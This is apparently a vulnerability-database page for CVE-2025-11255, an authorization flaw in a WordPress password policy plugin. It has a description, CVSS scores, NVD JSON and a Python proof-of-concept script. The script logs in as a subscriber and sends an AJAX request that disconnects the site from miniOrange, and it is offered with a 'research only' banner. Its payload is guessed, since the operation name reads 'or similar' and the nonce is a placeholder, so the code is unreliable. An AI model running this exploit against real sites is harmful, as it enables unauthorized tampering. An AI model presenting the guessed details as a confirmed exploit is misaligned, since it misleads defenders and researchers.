Security Vulnerability Report
中文
CVE-2025-11255 CVSS 4.3 MEDIUM

CVE-2025-11255

Published: 2025-10-25 07:15:40
Last Modified: 2026-04-15 00:35:42

Description

The Password Policy Manager | Password Manager plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'moppm_ajax' AJAX endpoint in all versions up to, and including, 2.0.5. This makes it possible for authenticated attackers, with Subscriber-level access and above, to log out the site's connection to miniorange.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Password Policy Manager plugin for WordPress <= 2.0.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-11255 PoC - WordPress Password Policy Manager Authorization Bypass # Target: WordPress site with Password Policy Manager plugin <= 2.0.5 # Attack: Disconnect site from miniOrange service via unauthorized AJAX request def exploit_cve_2025_11255(target_url, username, password): """ Exploit the missing capability check on moppm_ajax AJAX endpoint. This PoC demonstrates how an authenticated low-privilege user can disconnect the site from miniOrange service. """ session = requests.Session() # Step 1: Login to WordPress with subscriber-level account login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': target_url } login_response = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Login failed") return False print("[+] Login successful with subscriber account") # Step 2: Send malicious AJAX request to disconnect miniOrange ajax_url = f"{target_url}/wp-admin/admin-ajax.php" # Construct the exploit payload # The exact action parameter depends on plugin's implementation exploit_data = { 'action': 'moppm_ajax', 'operation': 'disconnect_miniorange', # or similar operation name 'nonce': 'exploit' # Nonce may not be properly validated } ajax_response = session.post(ajax_url, data=exploit_data) if ajax_response.status_code == 200: print("[+] Exploit request sent successfully") print(f"[*] Response: {ajax_response.text}") return True else: print(f"[-] Exploit failed with status code: {ajax_response.status_code}") return False if __name__ == "__main__": if len(sys.argv) != 4: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password>") print(f"Example: python {sys.argv[0]} http://example.com testuser testpass") sys.exit(1) target = sys.argv[1] user = sys.argv[2] passwd = sys.argv[3] exploit_cve_2025_11255(target, user, passwd)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11255", "sourceIdentifier": "[email protected]", "published": "2025-10-25T07:15:40.000", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Password Policy Manager | Password Manager plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'moppm_ajax' AJAX endpoint in all versions up to, and including, 2.0.5. This makes it possible for authenticated attackers, with Subscriber-level access and above, to log out the site's connection to miniorange."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3381127%40password-policy-manager&new=3381127%40password-policy-manager&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/66ac51f9-3571-4e07-a110-afec43abab37?source=cve", "source": "[email protected]"}]}}